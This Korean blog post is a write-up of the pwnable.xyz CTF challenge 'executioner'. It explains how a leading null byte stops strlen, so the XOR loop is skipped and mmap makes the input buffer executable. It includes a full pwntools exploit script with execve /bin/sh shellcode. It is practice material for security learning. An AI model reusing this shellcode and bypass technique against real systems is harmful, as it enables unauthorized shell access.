상세 컨텐츠

본문 제목

[pwnable.xyz] executioner

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 2. 28. 16:42

본문

728x90
반응형

# Protection Tech

 


# process

 

 

출력해준 buf 값을 받아서 입력 시 str로 변환한 값과 0으로 통과한다.

그러고 나면 shellcode executioner라고 쉘코드를 실행할 수 있다고 하는데 NX가 걸려있어서 불가능하다.

 

 

 

하지만 코드를 보면 keyinptxor해준 값에 mmap 함수를 사용하는데 메모리 매핑을 해주는 것이다.

그리고 flag 값이 34인데 실행권한을 부여해준다.

xor만 안 하면 쉘코드를 넣으면 쉘코드에 실행권한이 부여되어서 쉘코드를 실행할 수 있다.

 

strlen으로 반복해서 xor을 진행하는데, 처음에 null byte를 넣으면 strlen은 길이가 0인줄 알고 반복문을 하지 않는다.

이것으로 xor문을 우회하고 바로 쉘코드에 mmap으로 실행권한을 부여할 수 있게된다.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30025)
elf = ELF("./challenge")

p.recvuntil("POW: x + y == ")
buf = int(p.recvline().strip(), 16)
log.info("buf : "+hex(buf))
p.sendlineafter("> ", '0 '+str(buf))

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

pay = p32(0)  + shellcode                                                               
p.sendafter("Input: ", pay)

p.interactive()

 

# exploit

 

 

로되리안


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] badayum  (0) 2020.02.28
[pwnable.xyz] J-U-M-P  (0) 2020.02.28
[pwnable.xyz] strcat  (0) 2020.02.27
[pwnable.xyz] fclose (fSOP)  (1) 2020.02.10

관련글 더보기